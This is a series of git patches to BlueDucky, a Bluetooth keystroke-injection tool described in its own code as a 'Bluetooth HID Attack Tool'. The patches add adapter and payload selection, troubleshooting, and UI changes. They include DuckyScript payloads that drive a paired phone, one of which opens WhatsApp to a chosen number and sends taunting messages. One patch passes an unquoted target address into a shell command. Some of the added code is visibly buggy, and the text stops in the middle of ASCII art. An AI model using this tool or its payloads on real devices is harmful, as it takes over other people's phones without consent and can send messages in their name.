From 59c2cfb3c2e3bd2e6e938494628ccc0d5ced0c38 Mon Sep 17 00:00:00 2001 From: Opabinia <144001335+pentestfunctions@users.noreply.github.com> Date: Sat, 30 Mar 2024 02:34:43 +1300 Subject: [PATCH 01/23] Create __init__.py --- __init__.py | 1 + 1 file changed, 1 insertion(+) create mode 100644 __init__.py diff --git a/__init__.py b/__init__.py new file mode 100644 index 0000000..8b13789 --- /dev/null +++ b/__init__.py @@ -0,0 +1 @@ + From 2253aaaace5140df8fd74b7430c6dad18ce4badb Mon Sep 17 00:00:00 2001 From: xGrimnir Date: Sun, 31 Mar 2024 12:14:46 -0600 Subject: [PATCH 02/23] Adding in argparse to specify adapter --- BlueDucky.py | 21 +++++++++++++-------- 1 file changed, 13 insertions(+), 8 deletions(-) diff --git a/BlueDucky.py b/BlueDucky.py index 5565c3d..e18e171 100644 --- a/BlueDucky.py +++ b/BlueDucky.py @@ -1,4 +1,4 @@ -import binascii, bluetooth, sys, time, datetime, logging +import binascii, bluetooth, sys, time, datetime, logging, argparse from multiprocessing import Process from pydbus import SystemBus from enum import Enum @@ -594,12 +594,12 @@ def terminate_child_processes(): proc.terminate() proc.join() -def setup_bluetooth(target_address): +def setup_bluetooth(target_address, adapter_id): restart_bluetooth_daemon() - profile_proc = Process(target=register_hid_profile, args=('hci0', target_address)) + profile_proc = Process(target=register_hid_profile, args=(adapter_id, target_address)) profile_proc.start() child_processes.append(profile_proc) - adapter = Adapter('hci0') + adapter = Adapter(adapter_id) adapter.set_property("name", "Robot POC") adapter.set_property("class", 0x002540) adapter.power(True) @@ -617,16 +617,21 @@ def establish_connections(connection_manager): if not connection_manager.connect_all(): raise ConnectionFailureException("Failed to connect to all required ports") -def setup_and_connect(connection_manager, target_address): +def setup_and_connect(connection_manager, target_address, adapter_id): connection_manager.create_connection(1) # SDP connection_manager.create_connection(17) # HID Control connection_manager.create_connection(19) # HID Interrupt - initialize_pairing('hci0', target_address) + initialize_pairing(adapter_id, target_address) establish_connections(connection_manager) return connection_manager.clients[19] # Main function def main(): + parser = argparse.ArgumentParser(description="Bluetooth HID Attack Tool") + parser.add_argument('--adapter', type=str, default='hci0', help='Specify the Bluetooth adapter to use (default: hci0)') + args = parser.parse_args() + adapter_id = args.adapter + main_menu() target_address = get_target_address() if not target_address: @@ -638,7 +643,7 @@ def main(): log.info("Payload file not found. Exiting.") return - adapter = setup_bluetooth(target_address) + adapter = setup_bluetooth(target_address, adapter_id) adapter.enable_ssp() current_line = 0 @@ -647,7 +652,7 @@ def main(): while True: try: - hid_interrupt_client = setup_and_connect(connection_manager, target_address) + hid_interrupt_client = setup_and_connect(connection_manager, target_address, adapter_id) process_duckyscript(hid_interrupt_client, duckyscript, current_line, current_position) time.sleep(2) break # Exit loop if successful From bf1fa2e816aaa2c0c27ef701aa6c252343f92e4e Mon Sep 17 00:00:00 2001 From: CarrotRub <95135114+CarrotRub@users.noreply.github.com> Date: Sun, 7 Apr 2024 17:53:20 +0200 Subject: [PATCH 03/23] Implemented user confirmation for known single device before initiating attack. Adding user confirmation before launching an attack, even when there's only one known device, enhances control and minimizes the risk of unintended actions. This simple feature provides users with reassurance and prevents accidental attacks. --- utils/menu_functions.py | 10 ++++++++-- 1 file changed, 8 insertions(+), 2 deletions(-) diff --git a/utils/menu_functions.py b/utils/menu_functions.py index 2501b55..2affe1b 100644 --- a/utils/menu_functions.py +++ b/utils/menu_functions.py @@ -9,7 +9,12 @@ def get_target_address(): # Check if the returned list is from known devices or scanned devices if len(devices) == 1 and isinstance(devices[0], tuple) and len(devices[0]) == 2: # A single known device was chosen, no need to ask for selection - target_address = devices[0][0] + # I think it would be better to ask, as sometimes I do not want to chose this device and actually need solely to scan for actual devices. + confirm = input(f"Would you like to enter this device :\n{devices[0][1]} {devices[0][0]} ? (y/n)\n").strip().lower() + if confirm == 'y' or confirm == 'yes': + return devices[0][0] + elif confirm != 'y' or 'yes': + return else: # Show list of scanned devices for user selection for idx, (addr, name) in enumerate(devices): @@ -151,13 +156,14 @@ def main_menu(): print_fancy_ascii_art() print_menu() + def is_valid_mac_address(mac_address): # Regular expression to match a MAC address in the form XX:XX:XX:XX:XX:XX mac_address_pattern = re.compile(r'^([0-9A-Fa-f]{2}[:-]){5}([0-9A-Fa-f]{2})$') return mac_address_pattern.match(mac_address) is not None # Function to read DuckyScript from file -def read_duckyscript(filename='payload.txt'): +def read_duckyscript(filename): if os.path.exists(filename): with open(filename, 'r') as file: return [line.strip() for line in file.readlines()] From 3ebb8d191497b49af31bb43bb9f22f67d10ed552 Mon Sep 17 00:00:00 2001 From: CarrotRub <95135114+CarrotRub@users.noreply.github.com> Date: Sun, 7 Apr 2024 17:55:23 +0200 Subject: [PATCH 04/23] Enhanced payload selection to support multiple options. Allow selection of payloads based on multiple files that are inside the folder "payloads/" --- BlueDucky.py | 28 ++++++++++++++++++++++++++-- 1 file changed, 26 insertions(+), 2 deletions(-) diff --git a/BlueDucky.py b/BlueDucky.py index e18e171..f5b0465 100644 --- a/BlueDucky.py +++ b/BlueDucky.py @@ -2,6 +2,7 @@ import binascii, bluetooth, sys, time, datetime, logging, argparse from multiprocessing import Process from pydbus import SystemBus from enum import Enum +import os from utils.menu_functions import (main_menu, read_duckyscript, run, restart_bluetooth_daemon, get_target_address) from utils.register_device import register_hid_profile, agent_loop @@ -637,8 +638,31 @@ def main(): if not target_address: log.info("No target address provided. Exiting.") return + + script_directory = os.path.dirname(os.path.realpath(__file__)) + payload_folder = os.path.join(script_directory, 'payloads/') # Specify the relative path to the payloads folder. + payloads = os.listdir(payload_folder) - duckyscript = read_duckyscript() + print("\nAvailable payloads:") + for idx, payload_file in enumerate(payloads, 1): # Check and enumerate the files inside the payload folder. + print(f"{idx}: {payload_file}") + + payload_choice = input("\nEnter the number of the payload you want to load: ") + selected_payload = None + + try: + payload_index = int(payload_choice) - 1 + selected_payload = os.path.join(payload_folder, payloads[payload_index]) + except (ValueError, IndexError): + print("Invalid payload choice. No payload selected.") + + if selected_payload is not None: + print(f"Selected payload: {selected_payload}") + duckyscript = read_duckyscript(selected_payload) + else: + print("No payload selected.") + + if not duckyscript: log.info("Payload file not found. Exiting.") return @@ -672,4 +696,4 @@ if __name__ == "__main__": try: main() finally: - terminate_child_processes() \ No newline at end of file + terminate_child_processes() From b2f5a4d219f8dfad4ba2216b252fb1bf3a21bd69 Mon Sep 17 00:00:00 2001 From: CarrotRub <95135114+CarrotRub@users.noreply.github.com> Date: Sun, 7 Apr 2024 17:59:08 +0200 Subject: [PATCH 05/23] Create payload_example_1.txt Just an example. --- payloads/payload_example_1.txt | 16 ++++++++++++++++ 1 file changed, 16 insertions(+) create mode 100644 payloads/payload_example_1.txt diff --git a/payloads/payload_example_1.txt b/payloads/payload_example_1.txt new file mode 100644 index 0000000..6fbc51f --- /dev/null +++ b/payloads/payload_example_1.txt @@ -0,0 +1,16 @@ +REM Opens a private browser to hackertyper.net +DELAY 200 +ESCAPE +GUI d +ALT ESCAPE +GUI b +DELAY 700 +REM PRIVATE_BROWSER is equal to CTRL + SHIFT + N +PRIVATE_BROWSER +DELAY 700 +CTRL l +DELAY 300 +STRING hackertyper.net +DELAY 300 +ENTER +DELAY 300 From 86c229c3f4ef79b0515daf0fe04f51b4ceaa9d27 Mon Sep 17 00:00:00 2001 From: CarrotRub <95135114+CarrotRub@users.noreply.github.com> Date: Sun, 7 Apr 2024 18:00:11 +0200 Subject: [PATCH 06/23] Create payload_example_2.txt Just an example. --- payloads/payload_example_2.txt | 4 ++++ 1 file changed, 4 insertions(+) create mode 100644 payloads/payload_example_2.txt diff --git a/payloads/payload_example_2.txt b/payloads/payload_example_2.txt new file mode 100644 index 0000000..345c8f5 --- /dev/null +++ b/payloads/payload_example_2.txt @@ -0,0 +1,4 @@ +REM This is a comment and will not run +STRING hello opening messages here +DELAY 200 +GUI s From f0fbe1071aff30078c95f8342e55b8b7ce42ecfd Mon Sep 17 00:00:00 2001 From: CarrotRub <95135114+CarrotRub@users.noreply.github.com> Date: Sun, 7 Apr 2024 18:00:59 +0200 Subject: [PATCH 07/23] Delete payload.txt Since there is now the payloads folder, there is no need for this file. --- payload.txt | 2 -- 1 file changed, 2 deletions(-) delete mode 100644 payload.txt diff --git a/payload.txt b/payload.txt deleted file mode 100644 index 67f064b..0000000 --- a/payload.txt +++ /dev/null @@ -1,2 +0,0 @@ -REM This is a comment and will not run -STRING hello there 123 From 90a7850fe993f3067d402a8062feaf04623b8769 Mon Sep 17 00:00:00 2001 From: Opabinia <144001335+pentestfunctions@users.noreply.github.com> Date: Mon, 13 May 2024 03:03:37 +1200 Subject: [PATCH 08/23] Update README.md --- README.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/README.md b/README.md index 9ed6d2c..cd58479 100644 --- a/README.md +++ b/README.md @@ -1,7 +1,7 @@ # BlueDucky (Android) 🦆 -Thanks to all the people at OWLSec. Make sure you come join us on VC ! -https://discord.gg/owlsec +Thanks to all the people at HackNexus. Make sure you come join us on VC ! +https://discord.gg/HackNexus 1. [saad0x1's GitHub](https://github.com/saad0x1) 2. [spicydll's GitHub](https://github.com/spicydll) From 39d6b60548c237def99e4addcfed68e46e75aed2 Mon Sep 17 00:00:00 2001 From: angel6uard <73615575+angel6uard@users.noreply.github.com> Date: Tue, 14 May 2024 11:42:48 +0400 Subject: [PATCH 09/23] Sending wp message payload --- payloads/wp_payload.txt | 48 +++++++++++++++++++++++++++++++++++++++++ 1 file changed, 48 insertions(+) create mode 100644 payloads/wp_payload.txt diff --git a/payloads/wp_payload.txt b/payloads/wp_payload.txt new file mode 100644 index 0000000..210d365 --- /dev/null +++ b/payloads/wp_payload.txt @@ -0,0 +1,48 @@ +REM Opens a private browser to https://wa.me/<+number> +DELAY 200 +ESCAPE +GUI d +ALT ESCAPE +GUI b +DELAY 700 +REM BROWSER is equal to CTRL + SHIFT + N +BROWSER +DELAY 700 +CTRL l +DELAY 300 +STRING https://wa.me/<+NUMBER> +DELAY 500 +ENTER +DELAY 3000 +TAB +TAB +TAB +TAB +TAB +ENTER +DELAY 7000 +REM # Enter your message here +STRING get clapped by *4ngel6uard* +DELAY 500 +TAB +TAB +ENTER +DELAY 2000 +REM # Enter your another message here +STRING _https://t.me/ +DELAY 300 +TAB +TAB +ENTER +DELAY 2000 +REM # Enter your another message here +STRING xo xo +DELAY 300 +TAB +TAB +ENTER +DELAY 2000 +REM # Enter your another message here +STRING good luck =) + + From ef7f8025ca44d1a869055843359ad2b9c17fb682 Mon Sep 17 00:00:00 2001 From: angel6uard <73615575+angel6uard@users.noreply.github.com> Date: Tue, 14 May 2024 07:48:20 +0000 Subject: [PATCH 10/23] Revert "Created a payload for sending a WhatsApp messages" --- payloads/wp_payload.txt | 48 ----------------------------------------- 1 file changed, 48 deletions(-) delete mode 100644 payloads/wp_payload.txt diff --git a/payloads/wp_payload.txt b/payloads/wp_payload.txt deleted file mode 100644 index 210d365..0000000 --- a/payloads/wp_payload.txt +++ /dev/null @@ -1,48 +0,0 @@ -REM Opens a private browser to https://wa.me/<+number> -DELAY 200 -ESCAPE -GUI d -ALT ESCAPE -GUI b -DELAY 700 -REM BROWSER is equal to CTRL + SHIFT + N -BROWSER -DELAY 700 -CTRL l -DELAY 300 -STRING https://wa.me/<+NUMBER> -DELAY 500 -ENTER -DELAY 3000 -TAB -TAB -TAB -TAB -TAB -ENTER -DELAY 7000 -REM # Enter your message here -STRING get clapped by *4ngel6uard* -DELAY 500 -TAB -TAB -ENTER -DELAY 2000 -REM # Enter your another message here -STRING _https://t.me/ -DELAY 300 -TAB -TAB -ENTER -DELAY 2000 -REM # Enter your another message here -STRING xo xo -DELAY 300 -TAB -TAB -ENTER -DELAY 2000 -REM # Enter your another message here -STRING good luck =) - - From 49f470aa979d56b2ad5911b54ed38c39d28aa17c Mon Sep 17 00:00:00 2001 From: angel6uard <73615575+angel6uard@users.noreply.github.com> Date: Tue, 14 May 2024 13:04:23 +0400 Subject: [PATCH 11/23] Add files via upload --- payloads/wp_payload.txt | 48 +++++++++++++++++++++++++++++++++++++++++ 1 file changed, 48 insertions(+) create mode 100644 payloads/wp_payload.txt diff --git a/payloads/wp_payload.txt b/payloads/wp_payload.txt new file mode 100644 index 0000000..210d365 --- /dev/null +++ b/payloads/wp_payload.txt @@ -0,0 +1,48 @@ +REM Opens a private browser to https://wa.me/<+number> +DELAY 200 +ESCAPE +GUI d +ALT ESCAPE +GUI b +DELAY 700 +REM BROWSER is equal to CTRL + SHIFT + N +BROWSER +DELAY 700 +CTRL l +DELAY 300 +STRING https://wa.me/<+NUMBER> +DELAY 500 +ENTER +DELAY 3000 +TAB +TAB +TAB +TAB +TAB +ENTER +DELAY 7000 +REM # Enter your message here +STRING get clapped by *4ngel6uard* +DELAY 500 +TAB +TAB +ENTER +DELAY 2000 +REM # Enter your another message here +STRING _https://t.me/ +DELAY 300 +TAB +TAB +ENTER +DELAY 2000 +REM # Enter your another message here +STRING xo xo +DELAY 300 +TAB +TAB +ENTER +DELAY 2000 +REM # Enter your another message here +STRING good luck =) + + From 2b9c4bd373838df06e4f9a4669b0c6b3e3ed1926 Mon Sep 17 00:00:00 2001 From: Charles Johnson <138817709+Lamentomori@users.noreply.github.com> Date: Wed, 15 May 2024 18:13:53 -0500 Subject: [PATCH 12/23] Updated BlueDucky.py Added Bluetooth Debugging before UI is accessed, along with some other changes, and handling. --- BlueDucky.py | 90 +++++++++++++++++++++++++++++++++++++++++++--------- 1 file changed, 75 insertions(+), 15 deletions(-) diff --git a/BlueDucky.py b/BlueDucky.py index f5b0465..d3402e8 100644 --- a/BlueDucky.py +++ b/BlueDucky.py @@ -2,6 +2,7 @@ import binascii, bluetooth, sys, time, datetime, logging, argparse from multiprocessing import Process from pydbus import SystemBus from enum import Enum +import subprocess import os from utils.menu_functions import (main_menu, read_duckyscript, run, restart_bluetooth_daemon, get_target_address) @@ -15,8 +16,6 @@ class AnsiColorCode: GREEN = '\033[92m' YELLOW = '\033[93m' BLUE = '\033[94m' - MAGENTA = '\033[95m' - CYAN = '\033[96m' WHITE = '\033[97m' RESET = '\033[0m' @@ -30,8 +29,8 @@ class ColorLogFormatter(logging.Formatter): logging.INFO: AnsiColorCode.GREEN, logging.WARNING: AnsiColorCode.YELLOW, logging.ERROR: AnsiColorCode.RED, - logging.CRITICAL: AnsiColorCode.MAGENTA, - NOTICE_LEVEL: AnsiColorCode.CYAN, # Color for NOTICE level + logging.CRITICAL: AnsiColorCode.RED, + NOTICE_LEVEL: AnsiColorCode.BLUE, # Color for NOTICE level } def format(self, record): @@ -268,9 +267,20 @@ class L2CAPClient: self.connected = True log.debug("SUCCESS! connected on port %d" % self.port) except Exception as ex: + # Color Definition Again just to avoid errors I should've made a class for this. + red = "\033[91m" + blue = "\033[94m" + reset = "\033[0m" + + error = True self.connected = False log.error("ERROR connecting on port %d: %s" % (self.port, ex)) raise ConnectionFailureException(f"Connection failure on port {self.port}") + if (error == True & self.port == 14): + print("{reset}[{red}!{reset}] {red}CRITICAL ERROR{reset}: {reset}Attempted Connection to {red}{target_address} {reset}was {red}denied{reset}.") + return self.connected + + return self.connected @@ -594,6 +604,7 @@ def terminate_child_processes(): if proc.is_alive(): proc.terminate() proc.join() + def setup_bluetooth(target_address, adapter_id): restart_bluetooth_daemon() @@ -626,8 +637,39 @@ def setup_and_connect(connection_manager, target_address, adapter_id): establish_connections(connection_manager) return connection_manager.clients[19] +def troubleshoot_bluetooth(): + # Added this function to troubleshoot common issues before access to the application is granted + + blue = "\033[0m" + red = "\033[91m" + reset = "\033[0m" + # Check if bluetoothctl is available + try: + subprocess.run(['bluetoothctl', '--version'], check=True, stdout=subprocess.PIPE) + except subprocess.CalledProcessError: + print("{reset}[{red}!{reset}] {red}CRITICAL{reset}: {blue}bluetoothctl {reset}is not installed or not working properly.") + return False + + # Check for Bluetooth adapters + result = subprocess.run(['bluetoothctl', 'list'], capture_output=True, text=True) + if "Controller" not in result.stdout: + print("{reset}[{red}!{reset}] {red}CRITICAL{reset}: No {blue}Bluetooth adapters{reset} have been detected.") + return False + + # List devices to see if any are connected + result = subprocess.run(['bluetoothctl', 'devices'], capture_output=True, text=True) + if "Device" not in result.stdout: + print("{reset}[{red}!{reset}] {red}CRITICAL{reset}: No Compatible {blue}Bluetooth devices{reset} are connected.") + return False + + # if no issues are found then continue + return True + # Main function def main(): + blue = "\033[0m" + red = "\033[91m" + reset = "\033[0m" parser = argparse.ArgumentParser(description="Bluetooth HID Attack Tool") parser.add_argument('--adapter', type=str, default='hci0', help='Specify the Bluetooth adapter to use (default: hci0)') args = parser.parse_args() @@ -636,31 +678,38 @@ def main(): main_menu() target_address = get_target_address() if not target_address: - log.info("No target address provided. Exiting.") + log.info("No target address provided. Exiting..") return script_directory = os.path.dirname(os.path.realpath(__file__)) payload_folder = os.path.join(script_directory, 'payloads/') # Specify the relative path to the payloads folder. payloads = os.listdir(payload_folder) - print("\nAvailable payloads:") + blue = "\033[0m" + red = "\033[91m" + reset = "\033[0m" + print(f"\nAvailable payloads{blue}:") for idx, payload_file in enumerate(payloads, 1): # Check and enumerate the files inside the payload folder. - print(f"{idx}: {payload_file}") + print(f"{reset}[{blue}{idx}{reset}]{blue}: {blue}{payload_file}") - payload_choice = input("\nEnter the number of the payload you want to load: ") + blue = "\033[0m" + red = "\033[91m" + reset = "\033[0m" + payload_choice = input(f"\n{blue}Enter the number that represents the payload you would like to load{white}: {blue}") selected_payload = None try: payload_index = int(payload_choice) - 1 selected_payload = os.path.join(payload_folder, payloads[payload_index]) except (ValueError, IndexError): - print("Invalid payload choice. No payload selected.") + print(f"Invalid payload choice. No payload selected.") if selected_payload is not None: - print(f"Selected payload: {selected_payload}") + print(f"{blue}Selected payload{reset}: {blue}{selected_payload}") duckyscript = read_duckyscript(selected_payload) else: - print("No payload selected.") + print(f"{red}No payload selected.") + if not duckyscript: @@ -680,20 +729,31 @@ def main(): process_duckyscript(hid_interrupt_client, duckyscript, current_line, current_position) time.sleep(2) break # Exit loop if successful + except ReconnectionRequiredException as e: - log.info("Reconnection required. Attempting to reconnect...") + log.info(f"{reset}Reconnection required. Attempting to reconnect{blue}...") current_line = e.current_line current_position = e.current_position connection_manager.close_all() # Sleep before retrying to avoid rapid reconnection attempts time.sleep(2) - - #process_duckyscript(hid_interrupt_client, duckyscript) + + finally: + # unpair the target device + blue = "\033[94m" + reset = "\033[0m" + + command = f'echo -e "remove {target_address}\n" | bluetoothctl' + subprocess.run(command, shell=True) + print(f"{blue}Successfully Removed device{reset}: {blue}{target_address}{reset}") if __name__ == "__main__": setup_logging() log = logging.getLogger(__name__) try: - main() + if troubleshoot_bluetooth(): + main() + else: + sys.exit(0) finally: terminate_child_processes() From 97316eb742117dc3bc6ac68f8420e1c8adf1bd98 Mon Sep 17 00:00:00 2001 From: Charles Johnson <138817709+Lamentomori@users.noreply.github.com> Date: Wed, 15 May 2024 18:15:55 -0500 Subject: [PATCH 13/23] Updated UI / Ver 2.1 UI Update, and bug fixes --- utils/menu_functions.py | 162 +++++++++++++++++++++++----------------- 1 file changed, 95 insertions(+), 67 deletions(-) diff --git a/utils/menu_functions.py b/utils/menu_functions.py index 2affe1b..637a171 100644 --- a/utils/menu_functions.py +++ b/utils/menu_functions.py @@ -1,7 +1,15 @@ -import os, bluetooth,re, subprocess, time, curses +import os, bluetooth, re, subprocess, time, curses import logging as log + +########################## +# UI Redesign by Lamento # +########################## + def get_target_address(): - target_address = input("\nWhat is the target address? Leave blank and we will scan for you: ") + blue = "\033[94m" + reset = "\033[0m" + print(f"\n What is the target address{blue}? {reset}Leave blank and we will scan for you{blue}!{reset}") + target_address = input(f"\n {blue}> ") if target_address == "": devices = scan_for_devices() @@ -10,7 +18,7 @@ def get_target_address(): if len(devices) == 1 and isinstance(devices[0], tuple) and len(devices[0]) == 2: # A single known device was chosen, no need to ask for selection # I think it would be better to ask, as sometimes I do not want to chose this device and actually need solely to scan for actual devices. - confirm = input(f"Would you like to enter this device :\n{devices[0][1]} {devices[0][0]} ? (y/n)\n").strip().lower() + confirm = input(f"\n Would you like to register this device{blue}:\n{reset}{devices[0][1]} {devices[0][0]}{blue}? {blue}({reset}y{blue}/{reset}n{blue}) {blue}").strip().lower() if confirm == 'y' or confirm == 'yes': return devices[0][0] elif confirm != 'y' or 'yes': @@ -18,8 +26,8 @@ def get_target_address(): else: # Show list of scanned devices for user selection for idx, (addr, name) in enumerate(devices): - print(f"{idx + 1}: Device Name: {name}, Address: {addr}") - selection = int(input("\nSelect a device by number: ")) - 1 + print(f"{reset}[{blue}{idx + 1}{reset}] {blue}Device Name{reset}: {blue}{name}, {blue}Address{reset}: {blue}{addr}") + selection = int(input(f"\n{reset}Select a device by number{blue}: {blue}")) - 1 if 0 <= selection < len(devices): target_address = devices[selection][0] else: @@ -46,38 +54,30 @@ def run(command): def print_fancy_ascii_art(): ascii_art = """ -⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⣀⣀⣄⣤⣤⣄⣀⣀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ -⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣴⡶⠟⠛⠉⠉⠉⠉⠉⠉⠉⠉⠉⠙⠛⠷⢶⣤⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ -⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣴⠟⠋⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠛⢷⣤⡀⠀⠀⠀⠀⠀⠀⠀ -⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣼⠟⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠙⢿⣆⠀⠀⠀⠀⠀⠀ -⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣰⡿⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠹⣧⠀⠀⠀⠀⠀ -⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣰⡟⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⣀⣠⣤⣤⣤⣤⣤⣄⣀⡀⠀⠀⢹⣧⠀⠀⠀⠀ -⠀⠀⠀⠀⠀⠀⠀⠀⢀⣤⣶⣶⣿⣷⣶⠶⠛⠛⠛⠛⠳⢶⣦⠀⠀⠀⠀⢠⣾⣿⣿⣿⣿⣿⣯⠉⠉⠉⠉⠉⠛⣷⠀⠀⢿⡄⠀⠀⠀ -⠀⠀⠀⠀⠀⠀⠀⠀⣿⣿⣿⣿⣿⣿⣿⡇⠀⠀⠀⠀⢀⣠⣿⣀⡀⠀⠀⢿⣿⣿⣿⣿⣿⣿⣿⠀⢀⣀⣀⣤⣴⠟⠀⠀⠸⣧⠀⠀⠀ -⠀⠀⠀⠀⠀⠀⠀⠀⣙⣿⣿⣿⣿⣿⣿⠶⠶⠶⠿⠛⠛⠛⠛⠛⠛⢷⣦⡀⠉⠙⠛⠛⠛⠛⠛⠛⠛⠋⠉⠁⠀⠀⠀⠀⠀⣿⠀⠀⠀ -⠀⢀⣠⣴⠶⠾⠛⠛⠛⠉⠉⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⣿⡄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⡀⠀⠀ -⢠⣿⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⢗⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⡇⠀⠀ -⠈⢿⣦⣄⣀⣀⠀⠀⢀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣤⣤⣤⣄⣀⠀⠀⠀⢸⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⡇⠀⠀ -⠀⠀⠈⠉⠛⠛⠛⢻⣟⠛⠛⠛⠛⠛⠋⠉⠉⠉⠉⠉⠉⠉⠉⠉⠻⠷⠀⢀⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⡇⠀⠀ -⠀⠀⠀⠀⠀⠀⠀⠀⠛⠷⢶⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣴⠶⠟⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⡇⠀⠀ -⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠉⠉⠉⠉⢹⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⡇⠀⠀ -⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢻⡇⠀⠀ -⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⡟⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣇⠀⠀ -⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⣿⠀⠀ -⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢹⣆⠀ -⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣸⡟⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠻⢶ -⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣰⡟⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ -⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣠⡾⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ -⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣀⣴⠟⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ -⢀⣤⣤⡀⢀⣤⣤⡀⠀⣤⠀⠀⢀⣤⣄⢀⣤⣤⡀⠀⠀⣤⠀⠀⣠⠀⢀⣄⠀⠀⣠⣤⡀⠀⠀⠀⡀⠀⣠⡀⣠⣤⣤⣠⡀⠀⣤⢀⣤⣤⡀⣤⣤⡀ -⢸⣯⣹⡗⣿⣿⡏⠀⣼⣿⣇⢰⡿⠉⠃⣿⣿⡍⠀⠀⠀⢿⣤⣦⣿⠀⣾⢿⡆⢾⣯⣝⡃⠀⠀⢰⣿⣆⣿⡧⣿⣽⡍⠘⣷⣸⡏⣾⣿⡯⢸⣯⣩⡿ -⢸⡟⠉⠀⢿⣶⣶⢰⡿⠟⢻⡾⢷⣴⡆⢿⣶⣶⠄⠀⠀⠸⡿⠻⡿⣼⡿⠟⢿⢤⣭⣿⠟⠀⠀⢸⡇⠻⣿⠃⣿⣼⣶⠀⢻⡟⠀⢿⣧⣶⠸⣿⠻⣧ -⠀⠀⠀⠀⠀⠀⠀⠀⠁⠀⠀⠀⢀⡀⠀⠀⠀⠀⣀⠀⠀⠀⠀⣀⡀⠈⢀⣀⣀⠀⣁⣀⣀⢀⡀⠀⢀⣀⠀⠀⠀⠀⢀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ -⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣼⣿⠀⢠⣧⡀⣿⠀⠀⠀⣼⡿⢿⣄⣼⡟⢿⡿⠿⣿⠿⢻⣧⢠⡿⠿⣧⣀⣿⡄⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ -⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣸⣿⣿⣧⣾⡟⣷⣿⠀⠀⠘⣿⣀⣸⡟⢹⡿⠟⠁⠀⣿⡀⢸⣏⢿⣇⣠⣿⢻⣏⢿⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ 